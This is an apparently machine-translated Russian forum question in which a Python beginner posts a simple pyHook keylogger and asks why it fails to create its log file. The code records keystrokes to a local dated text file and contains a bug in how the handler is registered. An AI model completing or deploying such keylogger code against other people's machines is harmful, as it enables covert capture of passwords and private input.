2016-11-24 3 views
1

Я только начал программировать на Python. Мой первый «проект» - это кейлоггер. Я прочитал несколько строк кода, размещенных здесь и на других форумах. Я написал этот код, который должен записывать нажатые клавиши и начинать новую строку в файле .txt каждый раз, когда нажимается клавиша ввода. Может кто-нибудь, пожалуйста, дайте мне совет?Python Keylogger с некоторыми функциями

import pythoncom, pyHook 
from datetime import datetime 
date_today = datetime.now().strftime('%Y-%b-%d') 
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt' 

def OnKeyboardEvent(event): 
    if event.Ascii: 
     log = open(file_log,"a") 
     char = chr(event.Ascii) 
     if event.Ascii == 13: 
      log.write('\n') 
     log.write(char) 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent() 
hm.HookKeyboard() 
pythoncom.PumpMessages() 

Спасибо и с наилучшими пожеланиями!

Edit: Файл не кажется, чтобы начать, как не новый процесс или файл журнала создается при запуске

+0

Рекомендации по чему? Что-то не работает? – TigerhawkT3

ответ

Смежные вопросы